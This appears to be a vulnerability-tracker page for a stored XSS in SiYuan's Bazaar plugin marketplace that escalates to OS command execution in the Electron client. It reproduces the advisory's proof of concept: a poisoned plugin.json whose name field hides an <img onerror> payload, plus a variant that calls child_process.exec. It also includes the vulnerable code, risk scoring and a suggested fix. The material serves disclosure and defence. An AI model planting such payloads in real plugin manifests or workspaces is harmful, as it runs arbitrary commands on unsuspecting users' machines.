Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconPublish poisoned plugin.json to Bazaar
-
DeliveryVictim's client fetches marketplace listing
-
ExploitOpen Settings
-
InstallMarketplace
-
C2Downloaded
-
ExecutePlugins
-
ImpactinnerHTML parses hidden <img onerror> payload
-
Step 8Node child_process.exec runs in renderer
-
Step 9Arbitrary OS commands as desktop user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Attacker must place a malicious plugin.json, theme.json, template.json, widget.json, or icon.json into the SiYuan workspace package directory - achievable by publishing to the public Bazaar marketplace (the canonical delivery channel, since the upstream staging workflow shares the same allowlist gap), by tricking a user into importing a poisoned .sy.zip / synced workspace, or by any other write to data/plugins/*. Trigger requires the victim to open Settings → Marketplace → Downloaded → Plugins in either the Electron desktop client (for full OS command execution via Node) or a browser session (XSS only); no Install or Update click is needed - the list view itself renders the payload. Limiting factors: the victim must navigate to the Marketplace tab (CVSS UI:R), and the PR:L reflects the prerequisite of getting a manifest into the workspace, but neither barrier is meaningful since publishing to the public Bazaar satisfies both. The full OS-execution payload is contingent on the Electron client's nodeIntegration:true / contextIsolation:false configuration (default in shipped builds ≤ 3.6.5); pure-browser users see DOM XSS only. |
| Impact | The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H scores 9.0 and accurately reflects the cross-scope jump from a stored web payload to OS-level execution. SSVC categorizes this as Exploitation:poc, Automatable:no, Technical Impact:total - consistent with publicly available exploit code existing in the advisory but no evidence of in-the-wild use. EPSS of 0.04% (13th percentile) is low and the CVE is not on CISA KEV, which suggests targeted rather than widespread exploitation risk, but the disconnect between low EPSS and a fully weaponizable, zero-click POC is a known EPSS limitation for niche-but-impactful desktop apps. The CVSS PR:L and UI:R deserve attention: PR:L reflects that the attacker needs to land a manifest in the workspace (or publish to the public Bazaar), and UI:R reflects that the victim must open the Marketplace tab - but the advisory's verified POC shows the payload renders on the Downloaded list with no install click, so 'user interaction' here is just opening a settings tab, which is a very low bar in practice. |
| Exploit ScenarioDerived | An attacker publishes a benign-looking plugin to the public SiYuan Bazaar (or convinces a victim to install/import a workspace containing a malicious plugin.json) whose name field contains an <img src=x onerror=...> payload hidden via style="display:none". When the victim opens Settings → Marketplace → Downloaded → Plugins in the Electron desktop client, the unsanitized name flows through preferredName into innerHTML, the onerror handler fires inside a Node-enabled renderer, and require('child_process').exec runs arbitrary shell commands as the desktop user. The advisory ships an end-to-end POC verified against b3log/siyuan:v3.6.5 that launches Calculator on macOS, demonstrating publicly available exploit code. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 08, 2026
Stored cross-site scripting in SiYuan's Bazaar marketplace (versions ≤ 3.6.5) escalates to arbitrary OS command execution on the Electron desktop client because the kernel sanitizer in kernel/bazaar/package.go HTML-escapes only Author, DisplayName, and Description while passing Name and Version straight to innerHTML sinks. Any attacker who can publish a plugin/theme/template/widget/icon manifest to the public Bazaar - or otherwise drop a malicious plugin.json into the workspace - triggers zero-click code execution the moment a victim opens Settings → Marketplace → Downloaded → Plugins. A detailed POC against b3log/siyuan:v3.6.5 is published in the GHSA advisory; publicly available exploit code exists, though EPSS remains low at 0.04%.
RemediationAI
No vendor-released patch identified at time of analysis - the Go module entry lists 'fixed in: None' and the GHSA advisory documents the proposed fix without yet shipping a tagged release. The reporter's suggested kernel patch adds html.EscapeString calls for pkg.Name, pkg.Version, and pkg.Keywords in sanitizePackageDisplayStrings at kernel/bazaar/package.go:134-145, plus invoking that sanitizer from buildBazaarPackageWithMetadata in kernel/bazaar/bazaar.go:48 and mirroring the change into the upstream siyuan-note/bazaar staging workflow. Until a release lands, operators should restrict who can drop files into the workspace plugins/themes/templates/widgets/icons directories (especially in shared/Docker deployments), avoid opening the Marketplace Downloaded tab on any instance where untrusted manifests could exist, and consider blocking outbound access to the public Bazaar endpoint if Marketplace browsing is non-essential - note this disables legitimate plugin discovery. For defense-in-depth, downstream packagers can rebuild Electron with contextIsolation:true and nodeIntegration:false in app/electron/main.js:407-411, which bounds future renderer XSS to DOM impact at the cost of breaking any plugins that rely on direct Node access. Track the fix at https://github.com/siyuan-note/siyuan/security/advisories/GHSA-27qc-m5gf-jv5r.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
SiYuan is an Electron-based personal knowledge management application (Go kernel + TypeScript renderer) distributed as pkg:go/github.com_siyuan-note_siyuan_kernel. The vulnerability is a textbook CWE-79 (Improper Neutralization of Input During Web Page Generation): the kernel helper sanitizePackageDisplayStrings is an allowlist that omits the Name, Version, and Keywords fields of Package, and the frontend at app/src/config/bazaar.ts interpolates them into template literals that are written via element.innerHTML. The blast radius is amplified by Electron's BrowserWindow being configured with nodeIntegration:true, contextIsolation:false, and webSecurity:false (app/electron/main.js:407-411), so any DOM XSS in the renderer reaches require('child_process').exec directly. A second sink is the PreferredName fallback in GetPreferredLocaleString, which returns the raw pkg.Name when displayName is an empty locale map, and the online-marketplace path buildBazaarPackageWithMetadata never calls the kernel sanitizer at all - sanitization is delegated to the siyuan-note/bazaar GitHub Action, whose helper is byte-identical and therefore equally incomplete.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Summary
SiYuan's Bazaar (community marketplace) renders the name and version fields of a package's plugin.json (and the equivalent theme.json / template.json / widget.json / icon.json) into the Settings → Marketplace UI without HTML escaping. The kernel-side helper sanitizePackageDisplayStrings in kernel/bazaar/package.go HTML-escapes only Author, DisplayName, and Description - Name and Version flow through to the renderer raw. The frontend at app/src/config/bazaar.ts substitutes them into HTML template strings via ${item.preferredName} / ${data.name} / v${data.version} and assigns the result to innerHTML. As a consequence, malicious HTML in either field is parsed and executed when a user opens the marketplace tab.
Because the desktop client is built on Electron with nodeIntegration: true, contextIsolation: false, and webSecurity: false (app/electron/main.js:407-411), the resulting cross-site scripting executes in a renderer with full access to Node.js APIs, escalating directly to arbitrary OS command execution under the victim's account. The trigger is zero-click on the list view - opening Settings → Marketplace → Downloaded → Plugins is sufficient; no Install/Update click is required.
A second preferredName path exists: when displayName: {} (empty locale map), GetPreferredLocaleString falls back to the unescaped pkg.Name, so even a normal-looking visible plugin name carries the payload through the same sink.
Details
Server-side allowlist - kernel/bazaar/package.go:134-145:
func sanitizePackageDisplayStrings(pkg *Package) {
if pkg == nil { return }
pkg.Author = html.EscapeString(pkg.Author)
for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }
for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }
// pkg.Name and pkg.Version are NOT escaped
}PreferredName fallback - kernel/bazaar/installed.go:59 and kernel/bazaar/package.go:148-162:
// installed.go:59
pkg.PreferredName = GetPreferredLocaleString(pkg.DisplayName, pkg.Name)
// package.go:148-162
func GetPreferredLocaleString(m LocaleStrings, fallback string) string {
if len(m) == 0 { return fallback } // ← unescaped pkg.Name reaches the renderer
if v := strings.TrimSpace(m[util.Lang]); v != "" { return v }
if v := strings.TrimSpace(m["default"]); v != "" { return v }
if v := strings.TrimSpace(m["en_US"]); v != "" { return v }
return fallback
}Online marketplace path skips the kernel sanitizer - kernel/bazaar/package.go:127 + kernel/bazaar/bazaar.go:48:
// package.go:127 (only the local install path calls sanitizePackageDisplayStrings)
sanitizePackageDisplayStrings(ret)buildBazaarPackageWithMetadata (bazaar.go:48), used to build the online marketplace listing, does not call the kernel's sanitizePackageDisplayStrings. Sanitization for the online stage is delegated to the siyuan-note/bazaar GitHub-Action workflow.
The upstream workflow has the same gap - siyuan-note/bazaar/actions/stage/main.go:897-909:
// sanitizePackageDisplayStrings 对集市包直接显示的信息做 HTML 转义,避免 XSS。
// (跟思源内核 kernel/bazaar/package.go 保持一致)
func sanitizePackageDisplayStrings(pkg *Package) {
if pkg == nil { return }
pkg.Author = html.EscapeString(pkg.Author)
for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }
for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }
}The function is byte-identical to the kernel helper - the Chinese comment translates to *"(kept in sync with the SiYuan kernel kernel/bazaar/package.go)"*. It is invoked at main.go:707, 715, 723 once per package type during staging. Name, Version, and Keywords are unescaped at both layers: the kernel for local installs, the workflow for online listings. A malicious plugin.json submitted to the public bazaar therefore propagates the unsanitized fields to every SiYuan client that fetches the marketplace listing.
Frontend sinks - app/src/config/bazaar.ts:
// :430 - installed-plugin card list (zero-click)
${item.preferredName}
// :526 - package detail view
<a href="${data.repoURL}" ... title="GitHub Repo">${data.name}</a>
// :540 - package detail view, version stripe
<div ... style="line-height: 20px;">${window.siyuan.languages.currentVer}<br>v${data.version}</div>The constructed template strings are subsequently assigned to bazaar.element.innerHTML / readmeElement.innerHTML / mdElement.innerHTML (lines 358, 472, 512, 600).
Renderer privilege boundary - app/electron/main.js:407-411:
webPreferences: {
nodeIntegration: true,
webviewTag: true,
webSecurity: false,
contextIsolation: false,
}JavaScript executing in the marketplace tab can call require('child_process').exec(...) directly, escalating DOM XSS to OS command execution.
PoC
End-to-end verified against the official b3log/siyuan:v3.6.5 Docker image. The browser leg uses Brave; the alert below is the safe-mode equivalent of the Electron child_process.exec payload.
1. Run a stock SiYuan v3.6.5 kernel:
mkdir -p /tmp/siyuan-poc-ws/data/plugins/evil-plugin
docker run -d --name siyuan-poc -p 16806:6806 \
-v /tmp/siyuan-poc-ws:/siyuan/workspace \
-e SIYUAN_ACCESS_AUTH_CODE=test123 \
b3log/siyuan:v3.6.5 \
--workspace=/siyuan/workspace --accessAuthCode=test1232. Plant a malicious plugin manifest at /tmp/siyuan-poc-ws/data/plugins/evil-plugin/plugin.json:
{
"name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
"displayName": {},
"description": {"default": "A small toolkit of markdown helpers - table sort, link checker, wordcount, etc."},
"author": "markdown-utils",
"version": "1.4.2",
"url": "https://github.com/markdown-utils/markdown-utilities",
"backends": ["all"],
"frontends": ["all"]
}The visible portion of the name field is the literal string Markdown Utilities. The <img> tag is rendered with display:none, so the marketplace card looks like a legitimate plugin entry - no broken-image icon, no suspicious text.
3. Verify the kernel returns the unescaped payload:
Authenticate via http://127.0.0.1:16806/ (auth code test123), then call the API as the logged-in user:
curl -s -b 'siyuan=<session-cookie>' \
-X POST http://127.0.0.1:16806/api/bazaar/getInstalledPlugin \
-H 'Content-Type: application/json' \
-d '{"frontend":"desktop","keyword":""}'Observed (verbatim):
{
"preferredName": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
"name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
"version": "1.4.2"
}The HTML payload arrives at the client unmodified.
4. Trigger via the UI:
In a browser logged into the running SiYuan instance, open Settings → Marketplace → Downloaded → Plugins. The marketplace card list renders, bazaar.ts:430 substitutes ${item.preferredName} into the card HTML, the result is assigned to bazaar.element.innerHTML, the browser parses the <img> element, fails to load src=x, fires onerror, and alert("SiYuan Bazaar XSS") pops. The card itself displays as a normal-looking "Markdown Utilities" entry; the malicious markup is invisible.
5. Electron RCE substitution:
The same payload, modified for the Electron desktop client, replaces the alert with a Node-API call:
"name": "Markdown Utilities<img src=x onerror=\"require(`child_process`).exec(`open -a Calculator`)\" style=\"display:none\">"On any Electron-packaged SiYuan v3.6.5 (e.g. siyuan-3.6.5-mac-arm64.dmg), opening Settings → Marketplace → Downloaded → Plugins launches Calculator. The same primitive can run any shell command available to the desktop user.
Impact
- Stored XSS → arbitrary OS command execution in the desktop Electron client under the victim's user account, with full filesystem and network access via Node.js APIs.
- Triggers on view, not on install. Opening Settings → Marketplace → Downloaded → Plugins is sufficient; the payload runs before any "Install" or "Update" button is clicked.
- Visually undetectable. The
display:nonestyle hides the malicious markup, so the marketplace card appears entirely legitimate. - Survives transport. The payload is a plain JSON string; it round-trips through tarball packaging, sync replication,
.sy.zipexport/import, and any other workspace-content transport without modification. - Low attacker prerequisites. Any path that gets a manifest into the workspace plugin directory triggers the bug. The Bazaar marketplace itself - both the install flow and the post-listing release-then-poison flow - is the canonical low-friction delivery channel.
Suggested fix
Primary: extend the kernel allowlist in kernel/bazaar/package.go:134-145:
func sanitizePackageDisplayStrings(pkg *Package) {
if pkg == nil { return }
pkg.Author = html.EscapeString(pkg.Author)
+ pkg.Name = html.EscapeString(pkg.Name)
+ pkg.Version = html.EscapeString(pkg.Version)
for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }
for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }
+ for i, kw := range pkg.Keywords { pkg.Keywords[i] = html.EscapeString(kw) }
}Secondary: also call sanitizePackageDisplayStrings from kernel/bazaar/bazaar.go:48 (buildBazaarPackageWithMetadata) so that the kernel applies the same protection regardless of whether metadata originates from a local install or the online stage. The same two-line addition is needed in the upstream workflow at siyuan-note/bazaar/actions/stage/main.go:897-909 (already explicitly committed to "kept in sync with the SiYuan kernel kernel/bazaar/package.go").
Tertiary (defense in depth): wrap the frontend sinks in app/src/config/bazaar.ts (${item.preferredName}, ${data.name}, ${data.version}) with the existing escapeHtml(...) helper.
Renderer hardening: switching the main BrowserWindow at app/electron/main.js:407-411 to contextIsolation: true with a preload bridge would bound any future XSS in the renderer to DOM impact instead of OS command execution.
Executive ViewAI
SiYuan's Bazaar marketplace in versions 3.6.5 and earlier contains a stored cross-site scripting vulnerability that escalates to arbitrary operating system command execution on Electron desktop clients. Attackers can trigger exploitation by publishing malicious plugin manifests to the marketplace or placing them in user workspaces, with publicly available exploit code available. Organizations using SiYuan desktop for knowledge management or sensitive documentation face risk of complete system compromise through arbitrary command execution.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable Bazaar marketplace entirely if operationally feasible; (2) Restrict SiYuan ≤ 3.6.5 to isolated, monitored networks or air-gapped environments; (3) Block external plugin downloads and restrict to locally-validated sources only; (4) Deploy EDR and behavioral monitoring to detect suspicious OS command execution from SiYuan processes; (5) Implement strict user education against manual plugin installation outside approved channels.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-30356
GHSA-27qc-m5gf-jv5r
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB